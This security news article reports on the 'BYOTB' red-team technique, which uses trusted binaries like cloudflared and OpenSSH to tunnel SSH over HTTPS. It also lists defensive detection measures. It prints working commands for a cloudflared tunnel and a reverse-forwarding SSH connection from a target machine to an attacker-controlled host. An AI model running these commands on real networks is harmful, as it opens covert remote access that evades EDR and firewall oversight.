Security researcher David Kennedy unveiled a novel attack technique known as “BYOTB” (Bring Your Own Trusted Binary) in a recent presentation at BSides London 2024, which leverages trusted binaries to bypass security measures and evade detection.
This approach exploits the trust placed in legitimate software by using it in adversarial ways, making it challenging for security systems to identify malicious activity.
The BYOTB attack focuses on using trusted binaries like Cloudflare’s cloudflared
and OpenSSH to create covert communication channels.
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHX1xdK5DETftN-EcNICqmWFX-o0X-pK89DSvEFoiThQs-CqYSFgiMNAhJrz8yN1hHg96DbhVzVJ41dcBz6IKKVWmaBAOPiGj1bttWLG_vNnMcNYTyJQ3vea-QOVq9o1VDVA25XJXXKb2b9827eUjTNhKqzB1doL9xgYtXV3kmJXRf-6tAySnLNVihl4M/s16000/SSH%20server%20running%20on%20Cloud%20VM%20(Source%20-%20JumpSec).webp)
Experts at JumpSec Labs noted that all these binaries are chosen because they are widely used and trusted, making them less likely to be flagged by security software.
Using Cloudflared for Covert Communication
One of the primary methods involves using cloudflared
to tunnel SSH traffic over HTTPS on port 443, bypassing traditional SSH port 22 restrictions.
This is achieved by configuring cloudflared
to act as a proxy for SSH connections, encapsulating the data as HTTPS traffic.
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgieqHs0idNvY0ENYPeROTENC6ktGu6urqQLwcFH8qJg-LxZDWn_XNbwWFkTbLMY0jzVD-44pYgtdFebcfUnIyzJbRv1RqNIFPL6MbrFN4szX9kf-6mjDq4w7JxIAQ0KkpSwqr1McS_lAA_XB6BubiObNKw0IMXQ-OJlIdZ75-3fquBTQ_oSNxveOaRN0M/s16000/Cloudflare%E2%80%99s%20WARP%20client%20acts%20like%20a%20VPN%20(Source%20-%20JumpSec).webp)
Here’s how it works:-
- Setup Cloudflare Tunnel: On a cloud VM (e.g., Kali), start a Cloudflare tunnel using:
cloudflared tunnel run --token YourTokenHere
- Establish SSH Connection: On the target machine, use
cloudflared
as a proxy for SSH:
ssh.exe -o ProxyCommand="cloudflared.exe access ssh --hostname %h" [email protected] -R 1080
This command establishes an SSH connection through cloudflared
, which forwards traffic to a controlled Cloudflare hostname (ssh.redteaming.org
), ultimately reaching the SSH server on the Kali VM.
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXW3UL8BMZ8VOWXnzepJEAXzktTuMojlAR5wE9XRA95OgeVvf4H3aPKBTb5SwSE2ATXDyz1Rkd5dOKOiAr2u-quktWG-JvyjzIc2tippoAzSyRrpbMp3-SOp4UNECyBKPHvzDDbM9M2cycDwieco91bQO_Ej3E5UD6sklxSsLEG8MYvDlYB4_Ixk6JQvo/s16000/Cloudflared%20SSH%20Tunnel%20Setup%20(Source%20-%20JumpSec).webp)
The BYOTB attack is designed to bypass Endpoint Detection and Response (EDR) systems like CrowdStrike and navigate through restrictive firewalls.
By using trusted binaries, attackers can avoid triggering alerts typically associated with malicious activity.
To defend against these attacks, organizations should implement several measures. They should process telemetry by monitoring for command-line switches like “tunnel” or “access” that are associated with trusted binaries.
While the DNS logging should be used to track queries ending in “argotunnel.com” to detect Cloudflared activity, while firewall logging should block unnecessary outbound traffic on port 7844.
Besides this, file monitoring is essential to track downloads of Cloudflared binaries and verify their hashes.
Are you from SOC/DFIR Team? - Join 500,000+ Researchers to Analyze Cyber Threats with ANY.RUN Sandbox - Try for Free